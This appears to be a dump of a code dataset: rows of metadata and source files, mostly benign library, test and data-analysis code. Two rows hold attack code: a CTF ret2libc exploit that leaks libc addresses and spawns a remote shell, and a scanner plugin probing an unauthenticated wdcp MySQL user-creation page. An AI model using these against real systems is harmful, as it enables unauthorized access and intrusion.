blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
616
content_id
stringlengths
40
40
detected_licenses
sequencelengths
0
112
license_type
stringclasses
2 values
repo_name
stringlengths
5
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
777 values
visit_date
timestamp[us]date
2015-08-06 10:31:46
2023-09-06 10:44:38
revision_date
timestamp[us]date
1970-01-01 02:38:32
2037-05-03 13:00:00
committer_date
timestamp[us]date
1970-01-01 02:38:32
2023-09-06 01:08:06
github_id
int64
4.92k
681M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-04 01:52:49
2023-09-14 21:59:50
gha_created_at
timestamp[us]date
2008-05-22 07:58:19
2023-08-21 12:35:19
gha_language
stringclasses
149 values
src_encoding
stringclasses
26 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
3
10.2M
extension
stringclasses
188 values
content
stringlengths
3
10.2M
authors
sequencelengths
1
1
author_id
stringlengths
1
132
2355d881f34c0c2f4732ca8e036b6929a66a23ef
914aa18d6420b9b920e2a20df238302f891f79f1
/arda_db/browser/migrations/0026_auto_20150422_1032.py
a135283cb1fba4231de8554d44cf9258057ef8a9
[ "MIT" ]
permissive
rwspicer/ARDA
2152405c911afacad14dd1478b040f5af9246ba2
9bd98786feff4afbd45afdf3f3f1c2549f6356cf
refs/heads/master
2016-08-05T10:08:13.719344
2015-05-01T00:56:27
2015-05-01T00:56:27
30,052,617
5
0
null
null
null
null
UTF-8
Python
false
false
885
py
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('browser', '0025_auto_20150422_0958'), ] operations = [ migrations.AlterField( model_name='rlibrary', name='borrower_name', field=models.CharField(default=b'', max_length=60, verbose_name=b'name'), preserve_default=True, ), migrations.AlterField( model_name='rlibrary', name='email', field=models.CharField(default=b'', max_length=50), preserve_default=True, ), migrations.AlterField( model_name='rlibrary', name='phone', field=models.CharField(default=b'', max_length=10), preserve_default=True, ), ]
fdaa9958c1db7acfca7016877bdfcc4a501fae5c
2f564cb0b358d00387287fb62fec78b51c806771
/Tag11/dozent_projekt2_2.py
f8b6b362388a3e800fc5c05878e3b3e4da29872b
[]
no_license
anna-s-dotcom/python_alles
b736422f842995fc8731378ffa79ae4a9ffbe543
a36c8aea20444b98e5676ea6cf73824453e76c85
refs/heads/master
2020-12-30T06:01:26.684038
2020-02-07T09:34:28
2020-02-07T09:34:28
238,884,852
0
0
null
null
null
null
UTF-8
Python
false
false
1,461
py
import pandas as pd with open('EU2014_BE_EndgErg_Wahlbezirke.csv') as file: print(file) codec = file.encoding cols14 = ['WbezirksName', 'CDU', 'SPD', 'GRÜNE'] cols19 = ['Adresse', 'CDU', 'SPD', 'GRÜNE'] df2014 = pd.read_csv('EU2014_BE_EndgErg_Wahlbezirke.csv', encoding = codec, delimiter = ';')[cols14].dropna(thresh = 4) df2019 = pd.read_csv('EU2019_BE_EndgErg_Wahlbezirke.csv', encoding = codec, delimiter = ';')[cols19].dropna(thresh = 4) # print(df2014) # print() # print(df2019) dfm = pd.merge(df2014, df2019, left_on = 'WbezirksName', right_on = 'Adresse', suffixes = ('-2014', '-2019'), how = 'inner').drop('WbezirksName', axis = 1) # print() # print(dfm) # 1 dfm['diff-CDU'] = dfm['CDU-2019'] - dfm['CDU-2014'] dfm['diff-SPD'] = dfm['SPD-2019'] - dfm['SPD-2014'] dfm['diff-GRÜNE'] = dfm['GRÜNE-2019'] - dfm['GRÜNE-2014'] print(dfm) # 2 import numpy as np cdu = np.nansum(dfm['diff-CDU']) spd = np.nansum(dfm['diff-SPD']) gruene = np.nansum(dfm['diff-GRÜNE']) ges = cdu + spd + gruene print('Gesamtdifferenz 2019 - 2014:', ges) # 3 ges2014 = np.nansum(dfm['CDU-2014']) + np.nansum(dfm['SPD-2014']) + np.nansum(dfm['GRÜNE-2014']) ges2019 = np.nansum(dfm['CDU-2019']) + np.nansum(dfm['SPD-2019']) + np.nansum(dfm['GRÜNE-2019'])
874fa3ca559f2c40ad8cc644dff21b7b95f8e113
0f3a0be642cd6a2dd792c548cf7212176761e9b1
/zoo_services/r_quant.py
921ca91d0ab3e32f1f20b9964aab0268989f5f96
[]
no_license
huhabla/wps-grass-bridge
63a5d60735d372e295ec6adabe527eec9e72635a
aefdf1516a7517b1b745ec72e2d2481a78e10017
refs/heads/master
2021-01-10T10:10:34.246497
2014-01-22T23:40:58
2014-01-22T23:40:58
53,005,463
0
0
null
null
null
null
UTF-8
Python
false
false
335
py
##################################################### # This service was generated using wps-grass-bridge # ##################################################### import ZOOGrassModuleStarter as zoo def r_quant(m, inputs, outputs): service = zoo.ZOOGrassModuleStarter() service.fromMaps("r.quant", inputs, outputs) return 3
[ "soerengebbert@23da3d23-e2f9-862c-be8f-f61c6c06f202" ]
soerengebbert@23da3d23-e2f9-862c-be8f-f61c6c06f202
ae5947b28dec115479830ae29afd18ebc32c7e22
f47863b3a595cbe7ec1c02040e7214481e4f078a
/plugins/scan/wdcp/167.py
bd1da6017ce37455e7700763703fafe9d4907334
[]
no_license
gobiggo/0bscan
fe020b8f6f325292bda2b1fec25e3c49a431f373
281cf7c5c2181907e6863adde27bd3977b4a3474
refs/heads/master
2020-04-10T20:33:55.008835
2018-11-17T10:05:41
2018-11-17T10:05:41
null
0
0
null
null
null
null
UTF-8
Python
false
false
454
py
#Referer: http://www.securityfocus.com/archive/1/534437 def assign(service, arg): if service == "wdcp": return True, arg def audit(args): payload = 'mysql/add_user.php' verify_url = args + payload code, head, content, errcode,finalurl = curl.curl(verify_url) if code==200 and 'localhost' in content: security_hole(verify_url) if __name__ == '__main__': audit(assign('wdcp', 'http://wxw80.tem.com.cn:5368/')[1])
5c80e371a25d3fd6b5d22d0b4a7ab23cd0935237
7d2f933ed3c54e128ecaec3a771817c4260a8458
/venv/Lib/site-packages/pip/_vendor/html5lib/serializer.py
81d58b245847ccbf7afcccb74cf0af8cb1012ee7
[]
no_license
danielmoreira12/BAProject
c61dfb1d0521eb5a28eef9531a00e744bfb0e26a
859f588305d826a35cc8f7d64c432f54a0a2e031
refs/heads/master
2021-01-02T07:17:39.267278
2020-02-25T22:27:43
2020-02-25T22:27:43
239,541,177
0
0
null
null
null
null
UTF-8
Python
false
false
15,757
py
from __future__ import absolute_import, division, unicode_literals import re from codecs import register_error, xmlcharrefreplace_errors from pip._vendor.six import text_type from xml.sax.saxutils import escape from . import treewalkers, _utils from .constants import rcdataElements, entities, xmlEntities from .constants import voidElements, booleanAttributes, spaceCharacters _quoteAttributeSpecChars = "".join(spaceCharacters) + "\"'=<>`" _quoteAttributeSpec = re.compile("[" + _quoteAttributeSpecChars + "]") _quoteAttributeLegacy = re.compile("[" + _quoteAttributeSpecChars + "\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n" "\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15" "\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" "\x20\x2f\x60\xa0\u1680\u180e\u180f\u2000" "\u2001\u2002\u2003\u2004\u2005\u2006\u2007" "\u2008\u2009\u200a\u2028\u2029\u202f\u205f" "\u3000]") _encode_entity_map = {} _is_ucs4 = len("\U0010FFFF") == 1 for k, v in list(entities.items()): # skip multi-character entities if ((_is_ucs4 and len(v) > 1) or (not _is_ucs4 and len(v) > 2)): continue if v != "&": if len(v) == 2: v = _utils.surrogatePairToCodepoint(v) else: v = ord(v) if v not in _encode_entity_map or k.islower(): # prefer &lt; over &LT; and similarly for &amp;, &gt;, etc. _encode_entity_map[v] = k def htmlentityreplace_errors(exc): if isinstance(exc, (UnicodeEncodeError, UnicodeTranslateError)): res = [] codepoints = [] skip = False for i, c in enumerate(exc.object[exc.start:exc.end]): if skip: skip = False continue index = i + exc.start if _utils.isSurrogatePair(exc.object[index:min([exc.end, index + 2])]): codepoint = _utils.surrogatePairToCodepoint(exc.object[index:index + 2]) skip = True else: codepoint = ord(c) codepoints.append(codepoint) for cp in codepoints: e = _encode_entity_map.get(cp) if e: res.append("&") res.append(e) if not e.endswith(";"): res.append(";") else: res.append("&#x%s;" % (hex(cp)[2:])) return ("".join(res), exc.end) else: return xmlcharrefreplace_errors(exc) register_error("htmlentityreplace", htmlentityreplace_errors) def serialize(input, tree="etree", encoding=None, **serializer_opts): """Serializes the input token stream using the specified treewalker :arg input: the token stream to serialize :arg tree: the treewalker to use :arg encoding: the encoding to use :arg serializer_opts: any options to pass to the :py:class:`html5lib.serializer.HTMLSerializer` that gets created :returns: the tree serialized as a string Example: >>> from html5lib.html5parser import parse >>> from html5lib.serializer import serialize >>> token_stream = parse('<html><body><p>Hi!</p></body></html>') >>> serialize(token_stream, omit_optional_tags=False) '<html><head></head><body><p>Hi!</p></body></html>' """ # XXX: Should we cache this? walker = treewalkers.getTreeWalker(tree) s = HTMLSerializer(**serializer_opts) return s.render(walker(input), encoding) class HTMLSerializer(object): # attribute quoting options quote_attr_values = "legacy" # be secure by default quote_char = '"' use_best_quote_char = True # tag syntax options omit_optional_tags = True minimize_boolean_attributes = True use_trailing_solidus = False space_before_trailing_solidus = True # escaping options escape_lt_in_attrs = False escape_rcdata = False resolve_entities = True # miscellaneous options alphabetical_attributes = False inject_meta_charset = True strip_whitespace = False sanitize = False options = ("quote_attr_values", "quote_char", "use_best_quote_char", "omit_optional_tags", "minimize_boolean_attributes", "use_trailing_solidus", "space_before_trailing_solidus", "escape_lt_in_attrs", "escape_rcdata", "resolve_entities", "alphabetical_attributes", "inject_meta_charset", "strip_whitespace", "sanitize") def __init__(self, **kwargs): """Initialize HTMLSerializer :arg inject_meta_charset: Whether or not to inject the meta charset. Defaults to ``True``. :arg quote_attr_values: Whether to quote attribute values that don't require quoting per legacy browser behavior (``"legacy"``), when required by the standard (``"spec"``), or always (``"always"``). Defaults to ``"legacy"``. :arg quote_char: Use given quote character for attribute quoting. Defaults to ``"`` which will use double quotes unless attribute value contains a double quote, in which case single quotes are used. :arg escape_lt_in_attrs: Whether or not to escape ``<`` in attribute values. Defaults to ``False``. :arg escape_rcdata: Whether to escape characters that need to be escaped within normal elements within rcdata elements such as style. Defaults to ``False``. :arg resolve_entities: Whether to resolve named character entities that appear in the source tree. The XML predefined entities &lt; &gt; &amp; &quot; &apos; are unaffected by this setting. Defaults to ``True``. :arg strip_whitespace: Whether to remove semantically meaningless whitespace. (This compresses all whitespace to a single space except within ``pre``.) Defaults to ``False``. :arg minimize_boolean_attributes: Shortens boolean attributes to give just the attribute value, for example:: <input disabled="disabled"> becomes:: <input disabled> Defaults to ``True``. :arg use_trailing_solidus: Includes a close-tag slash at the end of the start tag of void elements (empty elements whose end tag is forbidden). E.g. ``<hr/>``. Defaults to ``False``. :arg space_before_trailing_solidus: Places a space immediately before the closing slash in a tag using a trailing solidus. E.g. ``<hr />``. Requires ``use_trailing_solidus=True``. Defaults to ``True``. :arg sanitize: Strip all unsafe or unknown constructs from output. See :py:class:`html5lib.filters.sanitizer.Filter`. Defaults to ``False``. :arg omit_optional_tags: Omit start/end tags that are optional. Defaults to ``True``. :arg alphabetical_attributes: Reorder attributes to be in alphabetical order. Defaults to ``False``. """ unexpected_args = frozenset(kwargs) - frozenset(self.options) if len(unexpected_args) > 0: raise TypeError("__init__() got an unexpected keyword argument '%s'" % next(iter(unexpected_args))) if 'quote_char' in kwargs: self.use_best_quote_char = False for attr in self.options: setattr(self, attr, kwargs.get(attr, getattr(self, attr))) self.errors = [] self.strict = False def encode(self, string): assert(isinstance(string, text_type)) if self.encoding: return string.encode(self.encoding, "htmlentityreplace") else: return string def encodeStrict(self, string): assert(isinstance(string, text_type)) if self.encoding: return string.encode(self.encoding, "strict") else: return string def serialize(self, treewalker, encoding=None): # pylint:disable=too-many-nested-blocks self.encoding = encoding in_cdata = False self.errors = [] if encoding and self.inject_meta_charset: from .filters.inject_meta_charset import Filter treewalker = Filter(treewalker, encoding) # Alphabetical attributes is here under the assumption that none of # the later filters add or change order of attributes; it needs to be # before the sanitizer so escaped elements come out correctly if self.alphabetical_attributes: from .filters.alphabeticalattributes import Filter treewalker = Filter(treewalker) # WhitespaceFilter should be used before OptionalTagFilter # for maximum efficiently of this latter filter if self.strip_whitespace: from .filters.whitespace import Filter treewalker = Filter(treewalker) if self.sanitize: from .filters.sanitizer import Filter treewalker = Filter(treewalker) if self.omit_optional_tags: from .filters.optionaltags import Filter treewalker = Filter(treewalker) for token in treewalker: type = token["type"] if type == "Doctype": doctype = "<!DOCTYPE %s" % token["name"] if token["publicId"]: doctype += ' PUBLIC "%s"' % token["publicId"] elif token["systemId"]: doctype += " SYSTEM" if token["systemId"]: if token["systemId"].find('"') >= 0: if token["systemId"].find("'") >= 0: self.serializeError("System identifer contains both single and double quote characters") quote_char = "'" else: quote_char = '"' doctype += " %s%s%s" % (quote_char, token["systemId"], quote_char) doctype += ">" yield self.encodeStrict(doctype) elif type in ("Characters", "SpaceCharacters"): if type == "SpaceCharacters" or in_cdata: if in_cdata and token["data"].find("</") >= 0: self.serializeError("Unexpected </ in CDATA") yield self.encode(token["data"]) else: yield self.encode(escape(token["data"])) elif type in ("StartTag", "EmptyTag"): name = token["name"] yield self.encodeStrict("<%s" % name) if name in rcdataElements and not self.escape_rcdata: in_cdata = True elif in_cdata: self.serializeError("Unexpected child element of a CDATA element") for (_, attr_name), attr_value in token["data"].items(): # TODO: Add namespace support here k = attr_name v = attr_value yield self.encodeStrict(' ') yield self.encodeStrict(k) if not self.minimize_boolean_attributes or \ (k not in booleanAttributes.get(name, tuple()) and k not in booleanAttributes.get("", tuple())): yield self.encodeStrict("=") if self.quote_attr_values == "always" or len(v) == 0: quote_attr = True elif self.quote_attr_values == "spec": quote_attr = _quoteAttributeSpec.search(v) is not None elif self.quote_attr_values == "legacy": quote_attr = _quoteAttributeLegacy.search(v) is not None else: raise ValueError("quote_attr_values must be one of: " "'always', 'spec', or 'legacy'") v = v.replace("&", "&amp;") if self.escape_lt_in_attrs: v = v.replace("<", "&lt;") if quote_attr: quote_char = self.quote_char if self.use_best_quote_char: if "'" in v and '"' not in v: quote_char = '"' elif '"' in v and "'" not in v: quote_char = "'" if quote_char == "'": v = v.replace("'", "&#39;") else: v = v.replace('"', "&quot;") yield self.encodeStrict(quote_char) yield self.encode(v) yield self.encodeStrict(quote_char) else: yield self.encode(v) if name in voidElements and self.use_trailing_solidus: if self.space_before_trailing_solidus: yield self.encodeStrict(" /") else: yield self.encodeStrict("/") yield self.encode(">") elif type == "EndTag": name = token["name"] if name in rcdataElements: in_cdata = False elif in_cdata: self.serializeError("Unexpected child element of a CDATA element") yield self.encodeStrict("</%s>" % name) elif type == "Comment": data = token["data"] if data.find("--") >= 0: self.serializeError("Comment contains --") yield self.encodeStrict("<!--%s-->" % token["data"]) elif type == "Entity": name = token["name"] key = name + ";" if key not in entities: self.serializeError("Entity %s not recognized" % name) if self.resolve_entities and key not in xmlEntities: data = entities[key] else: data = "&%s;" % name yield self.encodeStrict(data) else: self.serializeError(token["data"]) def render(self, treewalker, encoding=None): """Serializes the stream from the treewalker into a string :arg treewalker: the treewalker to serialize :arg encoding: the string encoding to use :returns: the serialized tree Example: >>> from html5lib import parse, getTreeWalker >>> from html5lib.serializer import HTMLSerializer >>> token_stream = parse('<html><body>Hi!</body></html>') >>> walker = getTreeWalker('etree') >>> serializer = HTMLSerializer(omit_optional_tags=False) >>> serializer.render(walker(token_stream)) '<html><head></head><body>Hi!</body></html>' """ if encoding: return b"".join(list(self.serialize(treewalker, encoding))) else: return "".join(list(self.serialize(treewalker))) def serializeError(self, data="XXX ERROR MESSAGE NEEDED"): # XXX The idea is to make data mandatory. self.errors.append(data) if self.strict: raise SerializeError class SerializeError(Exception): """Error in serialized tree""" pass
18b9a0b08fc6f3640ffb5be316121465654299dd
13f4a06cd439f579e34bf38406a9d5647fe7a0f3
/script/try_python/try_Django/helloworld/pages/urls.py
59a86d03a775a770128e079590cbc606291121cb
[]
no_license
edt-yxz-zzd/python3_src
43d6c2a8ef2a618f750b59e207a2806132076526
41f3a506feffb5f33d4559e5b69717d9bb6303c9
refs/heads/master
2023-05-12T01:46:28.198286
2023-05-01T13:46:32
2023-05-01T13:46:32
143,530,977
2
2
null
null
null
null
UTF-8
Python
false
false
202
py
# pages/urls.py from django.urls import path from . import views urlpatterns = [ # regular expression of path: '' # an optional url name: 'home' path('', views.homePageView, name='home') ]
9a6780dd43e8e8bc277d7cd97c78f3a0b8a3c033
e60a342f322273d3db5f4ab66f0e1ffffe39de29
/parts/zodiac/chameleon/interfaces.py
a4ce9ed7b5d5a9c0d5b9aa4004ca1c5415be98f6
[]
no_license
Xoting/GAExotZodiac
6b1b1f5356a4a4732da4c122db0f60b3f08ff6c1
f60b2b77b47f6181752a98399f6724b1cb47ddaf
refs/heads/master
2021-01-15T21:45:20.494358
2014-01-13T15:29:22
2014-01-13T15:29:22
null
0
0
null
null
null
null
UTF-8
Python
false
false
77
py
/home/alex/myenv/zodiac/eggs/Chameleon-2.13-py2.7.egg/chameleon/interfaces.py
3183c146bc2bb4c8964991dcdcb8026a509b1d5e
eb9c3dac0dca0ecd184df14b1fda62e61cc8c7d7
/google/cloud/gaming/v1beta/gaming-v1beta-py/google/cloud/gaming_v1beta/services/game_server_configs_service/pagers.py
dc651ab737e7b1b69464cf324e8b0d27964ac8c3
[ "Apache-2.0" ]
permissive
Tryweirder/googleapis-gen
2e5daf46574c3af3d448f1177eaebe809100c346
45d8e9377379f9d1d4e166e80415a8c1737f284d
refs/heads/master
2023-04-05T06:30:04.726589
2021-04-13T23:35:20
2021-04-13T23:35:20
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,131
py
# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from typing import Any, AsyncIterable, Awaitable, Callable, Iterable, Sequence, Tuple, Optional from google.cloud.gaming_v1beta.types import game_server_configs class ListGameServerConfigsPager: """A pager for iterating through ``list_game_server_configs`` requests. This class thinly wraps an initial :class:`google.cloud.gaming_v1beta.types.ListGameServerConfigsResponse` object, and provides an ``__iter__`` method to iterate through its ``game_server_configs`` field. If there are more pages, the ``__iter__`` method will make additional ``ListGameServerConfigs`` requests and continue to iterate through the ``game_server_configs`` field on the corresponding responses. All the usual :class:`google.cloud.gaming_v1beta.types.ListGameServerConfigsResponse` attributes are available on the pager. If multiple requests are made, only the most recent response is retained, and thus used for attribute lookup. """ def __init__(self, method: Callable[..., game_server_configs.ListGameServerConfigsResponse], request: game_server_configs.ListGameServerConfigsRequest, response: game_server_configs.ListGameServerConfigsResponse, *, metadata: Sequence[Tuple[str, str]] = ()): """Instantiate the pager. Args: method (Callable): The method that was originally called, and which instantiated this pager. request (google.cloud.gaming_v1beta.types.ListGameServerConfigsRequest): The initial request object. response (google.cloud.gaming_v1beta.types.ListGameServerConfigsResponse): The initial response object. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. """ self._method = method self._request = game_server_configs.ListGameServerConfigsRequest(request) self._response = response self._metadata = metadata def __getattr__(self, name: str) -> Any: return getattr(self._response, name) @property def pages(self) -> Iterable[game_server_configs.ListGameServerConfigsResponse]: yield self._response while self._response.next_page_token: self._request.page_token = self._response.next_page_token self._response = self._method(self._request, metadata=self._metadata) yield self._response def __iter__(self) -> Iterable[game_server_configs.GameServerConfig]: for page in self.pages: yield from page.game_server_configs def __repr__(self) -> str: return '{0}<{1!r}>'.format(self.__class__.__name__, self._response) class ListGameServerConfigsAsyncPager: """A pager for iterating through ``list_game_server_configs`` requests. This class thinly wraps an initial :class:`google.cloud.gaming_v1beta.types.ListGameServerConfigsResponse` object, and provides an ``__aiter__`` method to iterate through its ``game_server_configs`` field. If there are more pages, the ``__aiter__`` method will make additional ``ListGameServerConfigs`` requests and continue to iterate through the ``game_server_configs`` field on the corresponding responses. All the usual :class:`google.cloud.gaming_v1beta.types.ListGameServerConfigsResponse` attributes are available on the pager. If multiple requests are made, only the most recent response is retained, and thus used for attribute lookup. """ def __init__(self, method: Callable[..., Awaitable[game_server_configs.ListGameServerConfigsResponse]], request: game_server_configs.ListGameServerConfigsRequest, response: game_server_configs.ListGameServerConfigsResponse, *, metadata: Sequence[Tuple[str, str]] = ()): """Instantiate the pager. Args: method (Callable): The method that was originally called, and which instantiated this pager. request (google.cloud.gaming_v1beta.types.ListGameServerConfigsRequest): The initial request object. response (google.cloud.gaming_v1beta.types.ListGameServerConfigsResponse): The initial response object. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. """ self._method = method self._request = game_server_configs.ListGameServerConfigsRequest(request) self._response = response self._metadata = metadata def __getattr__(self, name: str) -> Any: return getattr(self._response, name) @property async def pages(self) -> AsyncIterable[game_server_configs.ListGameServerConfigsResponse]: yield self._response while self._response.next_page_token: self._request.page_token = self._response.next_page_token self._response = await self._method(self._request, metadata=self._metadata) yield self._response def __aiter__(self) -> AsyncIterable[game_server_configs.GameServerConfig]: async def async_generator(): async for page in self.pages: for response in page.game_server_configs: yield response return async_generator() def __repr__(self) -> str: return '{0}<{1!r}>'.format(self.__class__.__name__, self._response)
[ "bazel-bot-development[bot]@users.noreply.github.com" ]
bazel-bot-development[bot]@users.noreply.github.com
adae1e88338dd1bbc45f87704aed5a39cb62a3b4
33300abc9da0dfecf538d78fa51b23a85d2ddb6f
/tensorflow/python/saved_model/load_test.py
0f7fba0c66ef87ae4e9869318b63886c5b646404
[ "Apache-2.0" ]
permissive
danilo-augusto/tensorflow
b8e9ef8ebd489a62eab31e41fcdf0070e42ad348
4c7452c8c9b632d7ad7232099637e6fe388c3dd2
refs/heads/master
2022-05-31T03:00:12.090962
2018-12-19T23:11:25
2018-12-20T03:43:38
162,523,290
1
0
Apache-2.0
2022-04-17T02:40:23
2018-12-20T03:45:42
C++
UTF-8
Python
false
false
7,775
py
# Copyright 2018 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for checkpointable object SavedModel loading.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import tempfile from tensorflow.python.eager import def_function from tensorflow.python.eager import test from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import tensor_spec from tensorflow.python.lib.io import file_io from tensorflow.python.ops import variables from tensorflow.python.saved_model import load from tensorflow.python.saved_model import save from tensorflow.python.training.checkpointable import tracking class LoadTest(test.TestCase): def cycle(self, obj): path = tempfile.mkdtemp(prefix=self.get_temp_dir()) save.save(obj, path, signatures={}) return load.load(path) def test_structure_import(self): root = tracking.Checkpointable() root.f = def_function.function( lambda x: 2. * x, input_signature=[tensor_spec.TensorSpec(None, dtypes.float32)]) root.dep_one = tracking.Checkpointable() root.dep_two = tracking.Checkpointable() root.dep_two.dep = tracking.Checkpointable() root.dep_three = root.dep_two.dep imported = self.cycle(root) self.assertIs(imported.dep_three, imported.dep_two.dep) self.assertIsNot(imported.dep_one, imported.dep_two) self.assertEqual(4., imported.f(constant_op.constant(2.)).numpy()) def test_variables(self): root = tracking.Checkpointable() root.v1 = variables.Variable(1.) root.v2 = variables.Variable(2.) root.f = def_function.function( lambda x: root.v2 * x, input_signature=[tensor_spec.TensorSpec(None, dtypes.float32)]) imported = self.cycle(root) self.assertEquals(imported.v1.numpy(), 1.0) self.assertEquals(imported.v2.numpy(), 2.0) self.assertEqual(4., imported.f(constant_op.constant(2.)).numpy()) def _make_asset(self, contents): filename = tempfile.mktemp(prefix=self.get_temp_dir()) with open(filename, "w") as f: f.write(contents) return filename def test_assets_import(self): file1 = self._make_asset("contents 1") file2 = self._make_asset("contents 2") root = tracking.Checkpointable() root.f = def_function.function( lambda x: 2. * x, input_signature=[tensor_spec.TensorSpec(None, dtypes.float32)]) root.asset1 = tracking.TrackableAsset(file1) root.asset2 = tracking.TrackableAsset(file2) save_dir = os.path.join(self.get_temp_dir(), "save_dir") save.save(root, save_dir) file_io.delete_file(file1) file_io.delete_file(file2) load_dir = os.path.join(self.get_temp_dir(), "load_dir") file_io.rename(save_dir, load_dir) imported = load.load(load_dir) with open(imported.asset1.asset_path.numpy(), "r") as f: self.assertEquals("contents 1", f.read()) with open(imported.asset2.asset_path.numpy(), "r") as f: self.assertEquals("contents 2", f.read()) def test_capture_assets(self): root = tracking.Checkpointable() root.vocab = tracking.TrackableAsset(self._make_asset("contents")) root.f = def_function.function( lambda: root.vocab.asset_path, input_signature=[]) imported = self.cycle(root) origin_output = root.f().numpy() imported_output = imported.f().numpy() self.assertNotEqual(origin_output, imported_output) with open(imported_output, "r") as f: self.assertEquals("contents", f.read()) def test_assets_dedup(self): vocab = self._make_asset("contents") root = tracking.Checkpointable() root.f = def_function.function( lambda x: 2. * x, input_signature=[tensor_spec.TensorSpec(None, dtypes.float32)]) root.asset1 = tracking.TrackableAsset(vocab) root.asset2 = tracking.TrackableAsset(vocab) imported = self.cycle(root) self.assertEqual(imported.asset1.asset_path.numpy(), imported.asset2.asset_path.numpy()) def test_implicit_input_signature(self): @def_function.function def func(x): return 2 * x root = tracking.Checkpointable() root.f = func # Add two traces. root.f(constant_op.constant(1.)) root.f(constant_op.constant(1)) imported = self.cycle(root) self.assertEqual(4., imported.f(constant_op.constant(2.)).numpy()) self.assertEqual(14, imported.f(constant_op.constant(7)).numpy()) def test_explicit_input_signature(self): @def_function.function( input_signature=[tensor_spec.TensorSpec(None, dtypes.float32)]) def func(x): return 2 * x root = tracking.Checkpointable() root.f = func imported = self.cycle(root) self.assertEqual(4., imported.f(constant_op.constant(2.0)).numpy()) def test_function_with_default_bool_input(self): def func(x, training=False): if training: return 2 * x else: return 7 root = tracking.Checkpointable() root.f = def_function.function(func) self.assertEqual(20, root.f(constant_op.constant(10), True).numpy()) self.assertEqual(7, root.f(constant_op.constant(1)).numpy()) self.assertEqual(2, root.f(constant_op.constant(1), True).numpy()) imported = self.cycle(root) self.assertEqual(4, imported.f(constant_op.constant(2), True).numpy()) self.assertEqual(7, imported.f(constant_op.constant(2)).numpy()) def test_positional_arguments(self): def func(x, training=False, abc=7.1, defg=7.7): del abc if training: return 2 * x if defg == 7: return 6 else: return 7 root = tracking.Checkpointable() root.f = def_function.function(func) self.assertEqual(20, root.f(constant_op.constant(10), True).numpy()) self.assertEqual(7, root.f(constant_op.constant(1)).numpy()) self.assertEqual(2, root.f(constant_op.constant(1), True).numpy()) self.assertEqual(6, root.f(constant_op.constant(1), defg=7.0).numpy()) imported = self.cycle(root) self.assertEqual(4, imported.f(constant_op.constant(2), True).numpy()) self.assertEqual(7, imported.f(constant_op.constant(2)).numpy()) self.assertEqual(6, imported.f(constant_op.constant(1), defg=7.0).numpy()) def test_member_function(self): class CheckpointableWithMember(tracking.Checkpointable): def __init__(self): super(CheckpointableWithMember, self).__init__() self._some_value = 20 @def_function.function def f(self, x, training=False): if training: return 2 * x else: return 7 + self._some_value root = CheckpointableWithMember() self.assertEqual(20, root.f(constant_op.constant(10), True).numpy()) self.assertEqual(27, root.f(constant_op.constant(1)).numpy()) self.assertEqual(2, root.f(constant_op.constant(1), True).numpy()) imported = self.cycle(root) self.assertEqual(4, imported.f(constant_op.constant(2), True).numpy()) self.assertEqual(27, imported.f(constant_op.constant(2)).numpy()) if __name__ == "__main__": test.main()
5f43eae02bad6a1ff86c9481554169d3de844a66
7194e972dfb2b7f0334e366bfa4b8bf0c578017e
/BsidesDelhictf2020/thanksforattending/exploit.py
41175edb1468bb3f5000575b925bf70f9319d0d1
[]
no_license
Darksidesfear/CTFarchives
a571b5c4580d4a62cc501fc2ed1d3c2f8c41e90f
8baa495dc758e0f56813ffa0d5a1190a21d0bb09
refs/heads/master
2023-01-09T04:41:59.693240
2020-11-14T12:39:16
2020-11-14T12:39:16
null
0
0
null
null
null
null
UTF-8
Python
false
false
775
py
#exploit for thanksforattending #BSDCTF{3xpl0r1ng_th3_unkn0wn} from pwn import * import time elf = ELF("./chall") libc = ELF("./libc.so.6") ld = ELF("./ld-linux.so.2") context.binary=elf target=remote('13.233.104.112',2222) context.log_level='DEBUG' def sla(string,val): target.sendlineafter(string,val) def sa(string,val): target.sendafter(string,val) main=0x080491F6 puts_plt=0x80490a0 payload="A"*0x28+p32(puts_plt)+p32(main)+p32(elf.got["puts"]) sla("name?\n",payload) target.recvuntil("!\n") libc_puts=u32(target.recv(4)) libc_base=libc_puts-libc.sym["puts"] libc_system=libc_base+libc.sym["system"] libc_binsh=libc_base+libc.search("/bin/sh\x00").next() payload="A"*0x28+p32(libc_system)+p32(0xdeadbeef)+p32(libc_binsh) sla("name?\n",payload) target.interactive()
21ff2fade9bf04a8e6cfbb5544b7d85718b518d9
8ffa21848cfc7d1b1ac76d53fd181147dfd29953
/api-test/py-test/Part3_Python_CookBook/test_selfdef_exp.py
5795486fc1dae8aa22f6eeb68f11c1ed11564383
[]
no_license
un-knower/data-base
51cfefd91970073c61ccd2f5f7034ccc5d86a794
